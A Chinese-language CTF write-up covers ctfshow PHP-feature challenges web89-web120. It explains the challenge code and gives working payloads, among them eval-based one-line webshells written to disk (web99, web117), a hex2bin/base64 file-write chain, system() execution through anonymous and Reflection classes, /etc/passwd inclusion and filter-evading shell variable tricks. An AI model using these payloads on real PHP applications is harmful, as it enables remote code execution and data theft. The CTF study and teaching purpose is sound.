ctfshow-web入门笔记-PHP特性-前半部分

PHP特性篇 web89-web120

web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

审计代码,需要get传入一个num参数,然后后面过一个intval的判断。preg_match函数传入的变量是数组的时候会报错并返回0;而intval函数传入的变量是数组的时候会返回1,所以只需要传入数组就行。

1
?num[]=a

web90

intval()的绕过。intval()接受两个参数,一个参数是要转换为整型的变量,另一个是指定转换的基数,比如转换为x进制。一些典型的输出是这样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 10000000000
echo intval('1e10'); // 10000000000
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>

因为接受的是一个字符串,所以直接输入

1
2
?num=4476a
?num=+4476

总之就是4476的各种变形即可

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

审计代码,应该是考PHP正则表达式的,php正则表达式的flag有以下几种

i 执行不区分大小写的搜索
m 执行多行搜索(搜索字符串开头或结尾的模式将匹配每行的开头或结尾)
u 启用 UTF-8 编码模式的正确匹配

/^php$/im 表示将匹配以 “php” 开头和结尾的字符串,不区分大小写,且可以跨越多行。^表示匹配字符串开头,$表示匹配字符串末尾,i表示不区分大小写,m表示跨越多行。

这样就很好绕过了,第二个preg_match()中的正则表达式没有m,那么就直接把php放在第二行即可。

1
?cmd=nihao%0Aphp

web92

直接转16进制即可。

1
?num=0x117C

一个wp这样写:

1
intval($num,0)==4476根据num的格式来决定使用的进制,这里可以使用16进制。0x117c

也可以使用科学计数法绕过。

1
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

web93

限制了不能用字母。但是,可以用其他进制绕过。

1
2
3
二进制: 0b????
八进制: 0????
十六进制: 0x????

八进制不含字母,就可以绕过了。

web94

限制了不能通过进制转换,而且开头不能有0,但是必须要有0。那还能通过小数点。

1
?num=4476.0

strpos() 是 PHP 函数,它返回字符串中第一次出现子字符串的位置。该函数接受两个参数:要搜索的字符串和要搜索的子字符串。如果未找到子字符串,则 strpos() 返回 false。如果在字符串开头找到子字符串,则 strpos() 返回 0,在某些上下文中可以解释为 false

对 $pos = strpos($num, “0”); 这段代码来说,如果在 $num 中未找到子字符串 “0”,则 $pos 将为 false。如果 “0” 在 $num 的开头找到,则 $pos 将为 0。否则,$pos 将是 $num 中第一次出现 “0” 的位置

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

比起上一道题,这道题的第一个比较用了弱比较,而且后面的正则还加了个小数点,就无法用4476.0绕过了。因为strpos在这里只是检查第一个字符是不是0,所以可以加一个+,然后用八进制绕过。

1
?num=+010574

web96

1
2
3
4
5
6
7
8
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}

}

审计代码,需要get传一个u参数,该参数不能是flag.php这个字符串。那就直接传?u=./flag.php即可。

web97

1
2
3
4
5
6
7
8
9
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

审计代码,需要post传两个参数,a和b。a和b的值不能相同,但是它们经过md5函数后必须严格相等。

PHP的md5()没法处理数组,所以直接传两个数组进去,就是null===null。

post传a[]=1&b[]=2即可。

web98

1
2
3
4
5
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

这段代码很乱,有点看不懂,一句句分着来看。

1
$_GET?$_GET=&$_POST:'flag';

代码1:如果传入get参数,则get参数变成post的参数。

php中取值运算符”&”表示引用,比如$b=&$a表示变量b是变量a的一个引用,相当于同一个变量两个名字,一个变化另一个也跟着变化。通常的赋值语句$b=$a相当于copy了一个a的副本给b,b变化a不变化。取址就相当于把根刨了。解释来自这个wp
?运算符是三元运算符,也称为条件运算符。它的语法是expr1 ? expr2 : expr3,其中expr1是一个条件表达式,如果它的值为true,则返回expr2的值,否则返回expr3的值。

1
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';

代码2:如果get参数的flag参数为“flag”,则get参数变为cookie的参数。

1
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

代码3:如果get参数的flag参数为“flag”,则get参数变为server的参数。

1
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

代码4:如果get参数的HTTP_FLAG参数为“flag”,则返回$flag变量为名的文件,否则高亮本身的文件。

那么由代码4,首先就需要放一个HTTP_FLAG参数,为flag。然后,因为有代码1,所以需要在POST放一个HTTP_FLAG参数,其值为flag。在经过代码1后,代码2和代码3就基本没作用了。所以最后是同时GET和POST HTTP_FLAG=flag这个参数。

web99

1
2
3
4
5
6
7
8
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

首先创建了一个allow参数,其为一个数组,然后使用array_push做了从36到0x36D的循环,每次循环中都会推入一个随机值。

之后,会接收一个get参数n,使用in_array()函数对n进行检查,如果n在array中,则返回true。当if条件为真时,就将post请求中的content参数写入文件名为n的文件中。

in_array(search,array,type)函数有三个参数,前两个参数是必须的,search为搜索词,array为搜索数组;第三个参数被设置为true时,会检查search的类型是否和array中元素的类型相同,这个参数默认为false。

但是in_array()函数存在漏洞:在没有设置第三个参数的情况下(默认为false),就可以形成自动转换。在弱类型比较中,字符串会被转换成int,所以,如果n=1.php,就会自动被转换为1。所以,只需要传入一个7shell.php,post的参数内容为一句话木马即可。

1
2
3
4
?n=7shell.php

--post--
content=<?php @eval($_GET['a']);?>

然后访问/7shell.php,即可。

1
/7shell.php?a=phpinfo();

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

一眼考is_numeric()的漏洞。

is_numeric()对于空字符,即%00,不论其放在前后都会被判定为非数值;而%20空格字符则只能放在数值后。而且对0x开头的十六进制数也会判断成数字。

我在想该如何让v0变成true,但是看wp发现,只要让v2和v3全是false,v1是true就可以让v0是false了。那么就可以直接var_dump()把$ctfshow变量dump出来。

1
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

没有头绪,看wp,首先观察到这里没有过滤空格,似乎是用反射类。

payload为

1
?v1=1&v2=echo new Reflectionclass&v3=;

这样拼接后就成了

1
eval("echo new Reflectionclass('ctfshow');");

可以返回ctfshow类的所有属性,其中一个属性名就是flag。

PHP的反射类是什么?

PHP的反射机制提供了一套反射API,用来访问和使用类、方法、属性、参数和注释等,比如可以通过一个对象知道这个对象所属的类,这个类包含哪些方法,这些方法需要传入什么参数,每个参数是什么类型等等,不用创建类的实例也可以访问类的成员和方法,就算类成员定义为 private 也可以在外部访问。
官方文档提供了诸如 ReflectionClass、ReflectionMethod、ReflectionObject、ReflectionExtension 等反射类及相应的API,用得最多的是 ReflectionClass。

搭个简单的示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
class User{
public $UserName = "123";
private $Pass = "adf";
public function Uf(){
$this -> UserName = "321";
$this -> Pass = "fda";
}
}

$user = new User();
$reflection = new ReflectionClass($user);
echo $reflection;

返回结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Class [ <user> class User ] {
@@ test.php 2-9

- Constants [0] {
}

- Static properties [0] {
}

- Static methods [0] {
}

- Properties [2] {
Property [ <default> public $UserName ]
Property [ <default> private $Pass ]
}

- Methods [1] {
Method [ <user> public method Uf ] {
test.php 5 - 8
}
}
}

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2); //截取$v2第二个字符后的所有字符
$str = call_user_func($v1,$s); //调用名称为$v1的函数,参数为$s
echo $str;
file_put_contents($v3,$str); //将$str内容写入名为$v3的文件中
}
else{
die('hacker');
}

直接看wp

substr(string,start,length)。其中string和start是必选,string是字符串,start是规定在字符串的哪里开始,length是可选,规定被返回字符串的长度,默认是直到字符串的结尾。

call_user_func(callable $callback, mixed …$args): mixed。第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目是php7,所以要另换方法。

Exp:

1
2
3
4
<?php
$a = '<?=`cat *`; '; //注意:存在一个空格,这样转base64的时候才不会出现abcd这四个字母导致没法变成纯数字。e这个字母被视作科学计数法,所以可以使用。
$b = bin2hex(base64_encode($a));
echo $b; //5044383959474e686443417159447367

所以可以构造payload:

1
2
3
?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=2.php
POST
v1=hex2bin

首先,需要在v2的前面加两个数字,这里加的是11;为什么不能直接把v3=2.php?因为写入的是base64,需要用php伪协议处理一下。最后POST一个hex2bin。

这样,我们的v2首先把s变成5044383959474e686443417159447367,s再被v1的hex2bin执行变为PD89YGNhdCAqYDsg,然后v3在写入时有个base64解码的操作,就变成了cat *的代码。

web103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

这题和上题一样,但是v2的原始字符串不让有php三个字母了。但是上面的原始字符串用php短标签,就没有php三个字母,所以可以直接复用上面的payload。

web104

SHA1绕过?

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

POST一个v1,GET一个v2,v1等于v2即可,那v1和v2传同样的字符串就行

也可以用PHP特性,这两个字符串sha1后是0e开头,松散比较会直接当成两个数字0。

1
2
3
4
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value; // 设置一个变量,名称为$key; 其变量的值为以$value的值为变量名的变量值
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value; // 设置一个变量,名称为$key; 其变量的值为以$value的值为变量名的变量值
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

里面出现了两个$符号的情况。这个叫PHP可变变量名。这让一个变量的变量名可以动态设置和使用。

对这道题来说,就是需要“变量覆盖”,看wp说是有两种方法。其一是通过error=flag,通过if不满足来替换error。

1
2
3
4
5
GET
?x=flag

POST
error=x

在get那边,首先$key=x,那就有$$key就是$x$value=flag,那就有$$value=$flag,经过了get就是$x=$flag
在post那边,用相同的方法把左边赋为$error=$x就可以了。

第二种是通过suces。flag设置为空,绕过if(!$_POST['flag']==$flag)判断。$suces先保存flag变量的值,然后flag设置为空,从而绕过post那里的判断。

1
?suces=flag&flag=

示例1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$Bar = "a";
$Foo = "Bar";
$World = "Foo";
$Hello = "World";
$a = "Hello";

$a; //Returns Hello
$$a; //Returns World
$$$a; //Returns Foo
$$$$a; //Returns Bar
$$$$$a; //Returns a

$$$$$$a; //Returns Hello
$$$$$$$a; //Returns World

示例2:

1
2
3
4
5
<?php
$a = 'hello';
$$a = 'world';
echo "$a {$$a}"; // hello world
echo "$a $hello"; // hello world

web106

和web104相同

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1']; // $v1可控,通过POST传递
$v3 = $_GET['v3']; // $v3可控,通过GET传递
parse_str($v1,$v2); // 将输入字符串parse到v2里头
if($v2['flag']==md5($v3)){ //松散匹配v2的'flag'的值是否和v3的md5值
echo $flag;
}

}

很好写解: 其中0cc175b9c0f1b6a831c399e269772661是a的md5散列值。

1
2
3
4
5
GET
?v3=a

POST
v1=flag=0cc175b9c0f1b6a831c399e269772661

parse_str(string $string, array &$result): void。string是输入的字符串,result在8.0之前是可选参数,表示如果设置了result,变量将会以数组元素的形式存入这个数组。
示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推荐用法
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

// 不建议这么用
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

web108

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { //这段 PHP 正则表达式 ^[a-zA-Z]+$ 是用来匹配一个字符串是否只包含英文字母(大小写不敏感)的。其中,^ 表示匹配字符串的开头,$ 表示匹配字符串的结尾,[a-zA-Z] 表示匹配任意一个英文字母(大小写敏感)。+ 表示匹配前面的字符一次或多次,因此 ^[a-zA-Z]+$ 表示匹配一个或多个英文字母组成的字符串
//也就是说,c不能只包含字母
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){ //字符串翻转后再取int
echo $flag;
}

ereg ( string $pattern , string $string [, array &$regs ] ) : int 以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。 ereg在php7.0已经没了。

如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

strrev(string $string): string 返回 string 反转后的字符串。

首先对0x36d进行strrev转换,得到778,然后直接字符串截断绕过ereg()。

1
?c=a%00778

web109

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

有三种方法绕过,一种是PHP匿名类,一种是PHP异常处理类,一种是PHP反射类。

PHP匿名类就是直接弄个匿名类,然后构造函数里任意命令执行

1
?v1=class{ public function __construct(){ system('ls'); } };&v2=a

PHP 异常处理类

1
?v1=Exception&v2=system('cat fl36dg.txt') 

直接用Exception类,构造函数的异常信息设为ls或者cat xxx之类的。

PHP反射类

1
?v1=Reflectionclass&v2=system('cat fl36dg.txt')

直接用Reflection,把system()什么东西反射出来。

PHP 匿名类

PHP 异常处理类

Exception类的构造函数定义如下:__construct(<异常信息>, <异常代码>, <前一错误>),这三个参数都是可选的,作为自己创建的异常对象,我们一般不需要指定后两个参数,但是,如果一个异常一点信息都没有,那怎么知道是出现什么问题了呢?所以,一般我们会指定第一个参数。

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

几乎都屏蔽完了。一开始想的是PHP无参数RCE,但是没想到该怎么构造。

看wp,说是使用FilesystemIterator,所以使用FilesystemIterator(getcwd())获取该路径下的第一个文件,发现有个fl36dga.txt。

1
?v1=FilesystemIterator&v2=getcwd

直接访问/fl36dga.txt就能获取flag。

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;"); //&符号表示引用传递,即$v1和$v2指向同一个内存地址。
var_dump($$v1); // dump出以$v1的值为变量名的变量
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

这道题需要想到GLOBALS变量。所以?v1=ctfshow&v2=GLOBALS。这里的v1是什么都无所谓,只要能过preg_match就行。所以v1=ctfshowaaaa之类的都能过。

1
?v1=ctfshow&v2=GLOBALS

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

is_file(string $filename): bool — 判断给定文件名是否为一个正常的文件。如果是正常文件返回true,否则返回false。

在使用除了file://的php伪协议时,is_file()会返回false。

1
2
3
4
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

这道题比起上一道来说又限制了filter不能出现在payload里。所以除了使用

1
compress.zlib://flag.php

以外,还可以用目录溢出。超出is_file能处理的最大长度,就不认为这是一个文件了。上题也能用这个payload。

1
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

/proc/self/root是一个符号链接,指向当前进程的根目录。它是用于访问当前进程的根目录,而无需查找进程ID的一种方法

web114

这道题又没有屏蔽filter,直接用112题的payload就行

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

这道题疑似在考trim()。

trim(string $string, string $characters = “ \n\r\t\v\x00”): string — 去除字符串首尾处的空白字符(或者其他字符)

1
2
3
4
5
6
7
8
此函数返回字符串 string 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符:

" " (ASCII 32 (0x20)),普通空格符。
"\t" (ASCII 9 (0x09)),制表符。
"\n" (ASCII 10 (0x0A)),换行符。
"\r" (ASCII 13 (0x0D)),回车符。
"\0" (ASCII 0 (0x00)),空字节符。
"\v" (ASCII 11 (0x0B)),垂直制表符。

但是trim()没有去除\f,也就是翻页符。

1
?num=%0c36  // %0c是\f

web116

提示是misc+lfi,然后是一个视频。直接idm把视频弄下来,然后放到binwalk里分析。分析出好些个文件

1
2
3
4
5
6
7
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
27657186 0x1A603E2 PGP RSA encrypted session key - keyid: 7DEBB57A 854F782F RSA (Encrypt or Sign) 1024b
27820636 0x1A8825C MySQL ISAM index file Version 8
28976826 0x1BA26BA HPACK archive data
40994603 0x271872B PNG image, 941 x 320, 8-bit/color RGBA, non-interlaced
40994644 0x2718754 Zlib compressed data, default compression

但是binwalk分离不出来,就用foremost分离,分离出一张图片,图片上是代码。

1
2
3
4
5
6
<?php
function filter($x)(if(preg_match('/http https data input rot13 base64 string log sess/i',$x))[die('too young too simple sometimes native!');
$file=isset($ GET['file'])?$_GET['file']:"sp2.mp4";
header('Content-Type: video/mp4') ;
filter($file);
echo file _get_contents($file);

就很明显是文件包含

尝试包含一个?file=flag.php,然后看不到任何东西,直接看network那里也没东西,看了wp,用burp抓包才抓到。当然,?file=/etc/passwd也是可以的。

web117

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

文件写入,经典绕过die()。死亡绕过1 死亡绕过2

这道题,过滤了太多(base64、rot13、zlib等等),但是没有过滤iconv。所以可以使用iconv试一下。

1
2
echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_GET[cmd]);?>');
// ?<hp pe@av(l_$EG[Tmc]d;)>?

我才知道,$_GET[]里面是可以不用加单引号的,PHP的灵活性还是太高了。

1
2
3
4
GET
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
POST
contents=?<hp pe@av(l_$EG[Tc'dm]';)>?

直接访问马就行了

1
a.php?cmd=system('cat flag.php');

web118

打开后是一个输入框,无论怎么弄都是evil input。从wp处学到了一手可以通过Burpsuite来FUZZ。
通过把QWERTYUIOsadfghjjk{}:"这种内容弄一个字典然后挨个用Burpsuite爆破,发现所有的大写字母,以及@$_~#;.{}:?没有被waf。根据f12源代码里的system($code);,大致是需要让我们构造$code吧。

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# echo ${PWD} 
/root

# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/

# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t

# echo ${PWD:~0}
t

# echo ${PWD:~A} #所以字母和0具有同样作用
t

# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

总结了几个构造的payload:

1
2
3
4
5
${PATH:~A}${PWD:~A}$IFS????.??? 
// ${PATH:~A}就是取path的最后一个字符,对于/bin结尾的PATH,最后一个字符就是n。
// ${PWD:~A}就是取PWD的最后一个字符。对于/var/www/html来说,最后一个字符就是l。
// 所以,${PATH:~A}${PWD:~A}就是nl。
// $IFS是类似空格的分隔符,后面的????.???是通配符,可能是尝试读flag.php。
1
2
3
4
5
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
// ${PATH:~A}是n。
// ${#TERM}是一个shell变量,它表示TERM变量的长度。
// ${TERM}是一个环境变量,它定义了当前终端的类型。比如,kali的${TERM}就是xterm-256color。
// SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2。
1
2
3
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

// 使用random来构造

其他知识点:

1
${#IFS}=3。(linux下是3,mac里是4)

web119

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
默认的pwd是
/var/www/html
于是结合hips构造出自己的答案:
/bin/cat flag.php

/???/?at ?l??.php

${PWD:${#}:${##}} = {${PWD}:0:1} = / (从第零个字符开始,截取一个字符)

${PWD:${SHLVL}:${#SHLVL}} = ${PWD:2:1} = a (从第二个字符开始,截取一个字符)

${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t (从倒数第二个字符开始,截取一个字符)

${PWD:~A} = 取最后一位 = l

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???

web120

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

注:

1
${PWD::${#SHLVL}} 就是 ${PWD:0:${#SHLVL}}, 对/var/www/html来说,就是/。

那么跟上道题一样,构造/bin/cat flag.php即可,但是存在着字符串长度限制。官方的payload是这样的:

1
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

我们怎么知道USER是以a结尾的?所以这个payload不可行,除非知道了USER是以a结尾的。

1
${PWD::${##}}???${PWD::${##}}?${PWD:${SHLVL}:${##}}? ????.???